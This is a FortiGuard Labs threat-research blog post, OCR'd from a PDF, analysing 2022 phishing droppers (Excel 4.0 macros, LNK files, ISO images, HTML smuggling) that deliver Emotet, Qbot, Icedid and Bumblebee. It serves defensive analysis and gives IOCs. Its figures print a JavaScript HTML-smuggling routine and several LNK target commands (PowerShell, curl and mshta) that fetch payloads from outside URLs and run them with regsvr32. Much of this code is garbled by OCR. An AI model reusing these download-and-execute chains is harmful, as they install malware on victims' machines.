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Droppers are malicious files that deploy malware payloads to a victim's device, and are used in many threat
campaigns. During the second quarter of 2022, FortiGuard Labs observed some active droppers, including
Microsoft Excel files, as well as Windows shortcut files and ISO image files. We captured these samples from
phishing emails that were combined with social engineering to trick victims into loading the malware onto their
devices. Recently, we found common malware families involving these samples to be Emotet, Qbot, and Icedid. In
addition, a malware called Bumblebee, a previously rarely observed malware loader, was also found in some ISO

files.

This blog reveals how droppers are delivered to a victim's device and how they drop malware payloads onto the

victim's local disk.

Affected Platforms: Microsoft Windows
Impacted Users: Windows users
Impact: Controls victim's device and collects sensitive information, plus delivers other malware

Severity Level: Critical

Malicious Files Delivered Via Phishing Email

The droppers are spread through phishing emails in three ways. An email may:

e Contain the dropper or a password-protected ZIP as an attachment
e Contain an HTML file attachment that extracts a dropper when opened

e Have a link to download the dropper in the body of the email

Each way delivers the malicious file to victims and tricks them into opening it. See the examples below.
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wror I © Reply % Reply All v | - Forwerd | More v

Subject RE: 2022-02-02_Minutes of Meeting - Tashkent 2022/5/17 T4 12:57

7o I <

2022-02-02_Minutes of Meeting - Tashkent

Archive file attached to email: Lindner-Beograd_Electronic_form.zip
Password: UHD9AMQOE9

Dear All,

Please find enclosed Minutes of Meeting held in Lindner’s offices on Feb 2nd related to project of German Embassy in
Tashkent for your information and action. v

~ [ 1 attachment: Lindner-Beograd_Electronic_formzip 1.4 KB B save v

i, Lindner-Beograd_Electronic_formzip 14 KB

()

Figure 1: Email with a password-protected ZIP archive attachment

Re: Forgotten Username - Message (HTML)

Message Developer @

From: I Sent: 2022/6/7 GEZ) T 11:22

To: Account Services
Cc
Subject: Re: Forgotten Username

-] Message | & | 96025279_818870.html

| »

Hi,
Hope vou still remember that we'  ve talked about a couple weeks ago. Simply find the details bill over here:
Please read this ASAP.

Thank vou,

This email was sent automatically by | JEBEE Finance in response to your request to recover your username.

Your username is: [

Login at: http: r0.Com

Thank you,
N -
Phone: [INEG—_—_——

ol

4 M | »
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Figure 2: Email with an HTML file attachment

From _cno repiy@-combﬁ L] Reply “ Reply All v~ Forward  More v
Subject Re: Re: 2022/6/14 47 0415

The following is a proof notification for your payment. A duplicate of the invoice statement can be found right
here:

https://storage.googleapis.com/bymqg32.appspot.com/d/q6)2n.htm

Sincerely yours,

I v

()

Figure 3: Email with a malicious download link

We observed the attached HTML file and the webpage of the download link use a technique called HTML
smuggling, which leverages legitimate HTML5 and JavaScript features to encode the malicious data. As shown in

Figure 4, The HTML smuggling file converts the blob data into a dropper when opened in the web browser.

<div>

<hl>Download completed</hl>

<p>The document was successfully downloaded.</p>
</div>

malicious blob data

<script type="text/javascript">
var text = [ z1¢

UEsDBEQ

function b64toBlob (b64Data, contentType, sliceSize) {

var blob = bé4toBlob (text, lication/zip', 512); @ Document downlosd

if (window.nawvigator. msSaveOrOpenBlDb) { ¢ C ® == | C/E,6025279 818570 htmi
window.navigator.msSaveOrOpenBlob(blob, "96025279 B818870.zip"); -

} else {
var url = URL.createObjectURL (blob) ; Download complete(]
var a = document.createElement ("a");

a.href = url;
a.download
document .body . append
a.click():
setTimeout (function() {

document .body. removeChild (a) :

window.URL. revokeObjectURL (url) ;
},0);

The document was successfully downloaded.

Figure 4: HTML smuggling file

The first observation was in May. The download link in the email pointed to a web page containing HTML
smuggling. By June, the HTML smuggling file was sent directly to victims as an HTML attachment.

Analyzing the Droppers and Their Behaviors

This quarter, we captured three different samples active in the threat campaign. The first sample is an Excel file
with Excel 4.0 macros. The second is an LNK file (Windows shortcut file). The third sample is an ISO file (optical
disk image).

Excel file with Excel 4.0 macros
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This Excel sample is not new. It has been heavily used in Emotet campaigns since last year, as mentioned in the

previous blog. Some sheets of this sample are hidden, as shown in Figure 5, including an Excel 4.0 macro sheet

"IJEIGOPSAGHSPHP" that contains the malicious formulas. Cell A1 in this macro sheet is named
"Auto_Open9939689536899569357795948589489469636486898953895396378943986" and includes a built-in

macro that automatically runs the formula from that cell once the file is opened.

This macro sheet includes formulas that call the API "URLDownloadToFileA" to download the malware payloads

from several different URLs. The malware payloads are actually DLL files and executed using "regsvr32.exe".

Formulss  Data  Review  View  Developer

= et PageLayout
Cnum,upenmassas.‘. - A

=

=
a
M j=] %]

Unhide

unhide sheet:
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IRPSHISRH2

Home  Insert Fagelayowt  Formulas Data Review Developer W - "7 x I
1
. : x
e e e e 2| == Auto_Open9939689536899569357795948589489469636486898953895396378943986
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Figure 5: The malicious formulas in the hidden macro sheet

LNK file

A Windows shortcut file (commonly referred to as LNK) is created to point to a specific target. Double-clicking

on the shortcut file will execute the target.

As shown in Figure 6, this sample includes a PowerShell code snippet in its target field. The PowerShell code

converts a base64 string into a script that contains multiple URLs to download the malware payload. Next, it

attempts to download the malware payload from each URL and execute it with "Regsvr32.exe" until it succeeds.

§ ' DATOS 1306 - R 3
mi: | mwtt | =e | ieiEed | LeEieE
=K #E W F R E
R T oamsies
B EAE®
BRGE 10
B EE): o
TRAHRNE). -~
WTR) b -
1ERO)
[ RREELER | (EESTo. | D). |
e (7] =

%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe ¢
"&{'03agZ0gYwOTYbgC+Q0s7jrISg+7nSw6ZBWcHjvSNt8GG8U ufvaQ8vfBNtS+CfHeraUbVKIK';$BxQ="uYnlve3RhdHMvUkppMnJRST]
RRWHIXQ2ZnZG 1pLylsimh0dHBzOi8vd3d3LmVsYWlvern8ucGwvaW1ncy9KWkgyROIIdGIPNy8iLClodHRwezovL2VsLWVUZXInaWFra
55nci93cC1pbmNsdWRIcy9JZHIWS09HWU1Rb2R1NOIsTOloLylsimhOdHAGLy9kemVjaHNsZX)zdGFtbXRpc2NoLmRIL2ZvbnRzL1pBeV
hic2YvliwiaHROcDovL2RobmNvbnNOcnVjY2lvbmVzLmNvbS5hci93cC1hZG1pbidTh TAYWnNWRFIXZGSUYjdycUwvliwiaHROcDovL2Rp)
bHNybC5jb20veGhvbmUvcGZpcDViLylpOyROPSIUZIAGUSIZIGQSIIRIbnY6VELQXCAUXCROIljtta2RpciAtZmSOyY2UglGQgfCBvdXQtbnVs
bDtmb3JIYWNolCgkdSBpbiAkbGlua3MplHtOcnkgeOlXUiAkdSAtT3VORmIsZSAkZFxqeEtQSXINRNhKLk9PZjtSZWdzdnlzMiSleGUgliRkX
Gp451BJck1GeEouT09mljticmVha30gY2F0Y2ggeyBafQ==";SKOKN="lCBXcmI|0ZS1Ib3NOICIBcFBoUil 7JFByb2dyZXNzUHIIZmVyZW5jZ
T0iU2IsZW50bHIDb250aW51Z517)GxpbmtzPSgiaHROcHM6Ly9IkZXNjb250YWRvcCi5]b20";SKOKN=SKOKN+$BxQ; SGBUuUs=5KOKN;$xC
yRLo=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase645tring($GBUus));5GBUus=5xCyRLo;iex($GBUus)}"

Base64 Decode

Write-Host "ApPhR";

SProgressPreference="SilentlyContinue";
Slinks=("https://descontador.com.br/stats/RJi2rQI4QXrWCfgdmi/","https://www.elaboro.pl/imgs/I1ZH2GIHtoO7/",
"https://el-energiaki.gr/wp-includes/IdrVKOGYMQodu71l0lh/", "http://drechslerstammtisch.de/fonts/ZAyXbsf/",
"http://dhnconstrucciones.com.ar/wp-admin/Sm02ZsVDYWdoTb7rgL/","http://dilsrl.com/phene/pfip5m/");
St="nfWFQ";

Sd="Senv:TMP\..\5t";

mkdir -force $d | out-null;

foreach (Su in Slinks) {try {IWR Su -OutFile Sd\jxKPIrMFx).00f;Regsvr32.exe "$d\jxKPIrMFxJ.00f"; break} catch { }}
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Figure 6: The target of the shortcut file

We also captured other samples containing different malicious code in their target field. As shown in Figure 7,

there is a command line to download a malware payload from a URL and execute it with "Regsvr32.exe".

C:\Windows\System32\cmd.exe /q /c echo 'SGz' && echo "TYEQ" && MD "%HOMEPATH%\bG" && echo "Nm" && ping
ExCt.com && echo "rcF" && curl.exe -0 %4HOMEPATH%\bG\J10M.VI.WYYK https://takeone.tech/SNMIHT/EWw.png &&
regsvr32 "%HOMEPATH%\bG\J10M.VI.WYYK" Download payload with curl.exe

Using regsvr32 for execution

Figure 7: The malicious code in the target field of captured sample

Figure 8 shows another malicious PowerShell code in the target field. The data is decoded to a .hta URL and
executed using "mshta.exe". Next, the VBScript code in the web page of the .hta URL extracts a PowerShell code
that includes encrypted data. In the end, the encrypted data is transformed into script code to get the payload URL

and download malware.

malicious code in target field

C:AWindows 32\ Wi v1.0\powershell.exe
<#~@+uvOSgQ:Z#>5tEliiZsclbDp=@(96580,96586,96575,96587,96568,96503,96575,96587,96587,96583,96586,96529,96518,96518,96580,96582,9657 1.96575,06 588, 96569,96517,96570,96582,96580,96517,96569|
96585,96518,96588,96583,96579,96582,96568,96571,96517,96575,96587,96568); <t~ @+uvOSgQ:Z#>5IMvbvbxLdUneQihgXc=@(96544,96540,96559); <#~@+uvOSgQ:Z#>function
xavxwsleK($LmLHEHaFCWGhrN}[$ISqvUTYMYOTHBW=S6471;<#~@+uv0Sg0L-Z#>51zdBrBehe Dulg=$Null:foreach [ $eEFIeMD in $LmLHgHafCwGhrN) (SizdBrBghcDulg+=[char] [SeEElcMD-SiSauUTYMYOTHBW) :return
SizdBrBghcDulg);sal UINjnKlgNlogU (xguxwsleK SIMvbvbxLdUneQihgXc);<#~@+uv0SgQ:Z#>UINjnKlgNlogU{(xgvxwsleK StEliiZsclbDp));

J l/- <htmi xmins="http://www.w3.0rg/1899/xhtml ">

<head>
mshta https://modhub.com.br/upload.hta <meta content="text / html; charset = utf - 8" http-equiv="Content - Type" />
<script language="VBScript">

Function fPOBBICqOnW{Byval GipugRPIBIF

pawershell.exe -ExecutionPolicy UnRestricted $UGJgEhmuQd = 'PO"B“C“°5W = VarType( QpjugRPIBI)
ARAARARAARAAAAAAAARAAECAK200resKCEAUVXsd0sBMIPMLXIEDEXSKYu +LwSbOrzOSEkaOgOXVEfYajOudH End Fupatfon
ND2313+fKeSTtnuOp/4Q/2vXzpHy2Z3GFEnvfohlG/ekwbiL4vGZGITKT PSCRIvoGWVUAZZVVbbKOE/ leHgzb0oFDE
3Ladi5GWDBXVCwPETXBOSYNrEUMIvHGE) fsekccuOpIvexZ A4Snn3BYbSXT 315082 FioZZhzj +v64UbpeP/BWsTh

QXODNY24DDESEEWm|IR/wy2nGIvch6IHUU yIge8+YsCAJ4H3bwpGIaVIg+GstxBK: imIruE1xZEOIGCOI Function CDmolFINAC)(ByVal objectType)
6C: NejwLiW7VODeRne1YaS52C RTdveyLOgILLDkeugzeA3sSMIIByaT /yOIgCR Set COmoIFINAGj = CreateObject{objectType)
4dhTSMvI(BULZQFtNKSMmvglr‘vfn[lPle:TN,r‘Em(PVXs,‘XHSeQM 1jHC+1XhghaVQYbkzfiXQB+lypOZmP+SDtyFIW End Function
MdMEcM3DduzID3LOt7WImsFZxATyn|kbN+EWWEja6g3ZNBkEBmNg tOmxLhUmcO/chgj Y6Br31 Function sDNjw(]
X606 FxaOXOmellGEteCS ujrdvSUFRXrOZnob2ZYemGNIPOXFOMOfHIYI4DQIbIgn 1 Plaz)2 gZIkINSq78rgXdAwpfla 76 Dim bxFwLPXynxwUsQup
IKeb+IbkpgbmT7whAshkoVXBluUlusHIOfdeKgxySZYOPUaIQdVSAquYSielmUS/LKmIasreFUxy7GX00 1/ YWerS D'”‘_ ICUXKy
9/0FEQULEMY6qhTagB7BXLOVAXAMW...... Dim xwsLrSrluwFlaE

bxFuaL PXynxwlsQup =

Array(30642,30605,30615,30633,30641,30648,30606,30644:40644,30613,30599,30634,30645,306
50,30594,30637;20641,30612,30632, 30637,30599,30616,30607, 20596, 30650,30651,30628,30648,
30616,30646,30617,...

function KWMmahAwPgaR({$0eRSLUmMwleaZpe, SRQOUSTR)[IO.File]::WriteAllBytes(S0eRSLUMwWIoqZpe. ...

Invoke-ltem SDwEhurrrQIG; }SwNXEEBKXiwjx = SuzTdFCRryYvG + '0397ase.dIl'; if (Test-Path -Path SYNXEEBKXiwjx){fEnYwRjANFhwlyS

SvaEEkawx }E\se{sﬁorlbrvthmBZq = gnwxQiuxHzia [xBzRsBeW.
1 E [A8152,48095,48084,48084,48146,48148 48137,48141,48154,48135 48083 48138 ABTAT BTG 4808348 481 .
508 A2004 48002 48134,48152,48138,48083,48137,48145,48145)); KWMmahAwPqaR SvNXEEBKXiw) https://modhub.com.br/0397ase.dll
SGUtherhq mEZq IEnYwR]AthwJVS SVNXEEBKXiwjx;};:LpRmHvBIVpihk SvNXEEBRXiwjx;;:;}ZBBIMNIZIA;

Figure 8: The malicious code in the target field of a captured sample

All three examples above download and execute a malware payload, despite the differences.
ISO file

An ISO file (often called an ISO image), is an archive file that stores the contents of a physical disk. In Windows
10, opening an ISO file by double-clicking it mounts the file on a virtual optical disc drive. Once mounted, the

contents of an ISO file can be accessed in File Explorer.

Threat actors store a malware DLL file and a malicious LNK file in the ISO file. As shown in Figure 9, the DLL
file is set to a hidden attribute, so it is not visible in File Explorer by default. On the other hand, the shortcut file is
used to execute the DLL file using "Rundll32.exe".
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Figure 9: The malware DLL file and malicious LNK file are stored in the ISO file

Conclusion

In recent threat campaigns, all droppers mentioned in the previous section are very active and used by more than

one malware family. Below is the malware payload of each captured dropper.

Malware Dropper

Excel file

LNK file

ISO file

Figure 10 shows the notable malware activities during the past three-month period. In early April, Microsoft Excel

Payload

Emotet and Qbot

Emotet, Qbot, and Icedid

Qbot, Icedid, and Bumblebee

files were the only file type used to spread malware. We then captured a shortcut file with the Emotet malware

payload, which first appeared on April 23. This new malware attack technique was soon followed by Qbot and

Icedid, spreading using shortcut files as well in early May. Later, ISO files for droppers began appearing in the

Page 6 of 9




https://www.fortinet.com /blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns

middle of May, and the malware families involved included Qbot, Icedid, and Bumblebee. Next, HTML
smuggling attacks emerged in late May and June, including web pages and HTML file attachments. This builds

malware locally instead of delivering malicious files directly through the network to bypass the firewall.

APR:L 2022 Early April April 23rd
Emotet and Qbot drop from First appearance of
Excel files with Excel 4.0 macros Emotet LNK files
Late May Mid May Early May MA: 2022
Link in phishing emails Qbot, Icedid, and Bumblebee Qbot and Icedid start using

points to HTML smuggling page start using ISC files as droppers  LNK files as droppers

JUNE 2022 Early June

Phishing emails with HTML smugglingattachment emerge

F::RTINET

Figure 10: Timeline of dropper usage in recent threat campaigns

Microsoft Office files have been a favorite vehicle for threat actors because of the macros. However, things seem
to be changing as Microsoft has added more security controls in Office files with macros. In July of 2021,

Microsoft disabled Excel 4.0 macros by default when opening an Excel file. In early April 2022, Microsoft created

another setting to block VBA macros in files from the internet by default. With more restrictions on the use of

macros for Microsoft Office files, threat actors turn to other types of files to increase compromise rates. At this
point, shortcut files provide a solid option due to double-click execution. ISO files can be automatically mounted
and opened on modern versions of Windows with just a double click. In addition, ISO files take advantage of
bypassing the Mark-of-the-Web trust control, making them easier to evade antivirus detection than other archive
files. The HTML smuggling technique creates malicious files locally to bypass the restrictions on receiving files
from the internet and emails. This explains the proliferation of shortcut files and ISO files, as well as HTML

smuggling used for malware deployment at this time.

Fortinet Protections

Fortinet customers are protected from this malware by FortiGuard’s Web Filtering, Antivirus, FortiMail,

FortiClient, FortiEDR, and Content Disarm & Reconstruction (CDR) services as follows.
The phishing email with its attached malicious file can be disarmed by the FortiGuard CDR service.

FortiEDR detects the Excel, shortcut, ISO, and malware payload DLL files as malicious based on their behavior.

Page 7 of 9


https://techcommunity.microsoft.com/t5/excel-blog/excel-4-0-xlm-macros-now-restricted-by-default-for-customer/ba-p/3057905
https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805

https://www.fortinet.com /blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns

Fortinet customers are protected from these malicious files and malware by FortiGuard Antivirus, which is

included in FortiMail. It detects all malicious macro file types, including Excel 4.0 macro samples.
All malicious samples described in this report are detected by FortiGuard Antivirus as follows:

XF/CoinMiner.Z!tr
LNK/Agent. APX!tr
LNK/Agent.PE!tr
LNK/Agent.VPIX!tr.dldr
LNK/PSRunner.VPHQ!tr
JS/Agent.BLOB!tr.dldr

The malware payloads are detected by FortiGuard Antivirus as follows:

W64/GenKryptik. FWMO!tr
W32/Emotet.Cltr
W32/Qbot.D!tr
W64/GenKryptik. FWBH!tr
W64/GenKryptik. FVFR!tr
W64/Bumblebee.E!tr
W64/IcedID.HG!tr

In addition, Fortinet has multiple solutions designed to train users on how to understand and detect phishing

threats:

The FortiPhish Phishing Simulation Service uses real-world simulations to help organizations test user awareness
and vigilance to phishing threats and to train and reinforce proper practices when users encounter targeted

phishing attacks.

We also suggest that organizations have their end users go through our FREE NSE training: NSE 1 — Information

Security Awareness. It includes a module on internet threats to train end users on how to identify and protect

themselves from phishing attacks.

I0Cs

Malicious sample (SHA256):

2fe44042cfc6602b43204e38bcbc2773d1e4f87be6aal6073625bc1b33af6877
8fdal4f91e27afec5c1b1f71d708775c9b6e2af31e8331bbf26751bc0583dc7e
262963f949671f429ba3c4233f493a064c08e1361d0c0689f7d3de205d5f7b1
2abfb434d9f16888332ecb2d6eb7660b28e544ad67130d0050330bdb104502¢3
adf8cb3421c726efbadff60e97a07f6df6de98818e0978382ec388e7d32a2128
4b582£38e3376346cb066e36ff8dfa32b268154bb2de13870702e8bbf366a023
467bc7ff93d75009d3ba7633662dc9109297ac0f64abb078fd9c8e181abe6eca

Malware payload (SHA256):
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00dcc4642d488643856259cd3c576d9e24045b48783fc21ebdccd5fb4de66f8c
71c9cc11c107b0716eff86de98b3fbd77add1e35ceadf86519eb84b473cb862d
9d4bf3e9577884295102e5dd673b81065d21d348da8ba5a3249e8f5f4c40d5d6
424815ec0ad4c06cb7e063c3540919f8f4b1ee369f977448b7eeaa248ef187431
9eea56f945cc00c5216b3250326f8b79d3d2cac5165b250b606729e72bd2647¢
90576eb6754dd1c38fb4ceadbf3f029535900436a02caee891c057c01ca84941

Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard

Security Subscriptions and Services portfolio.

Source: https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns
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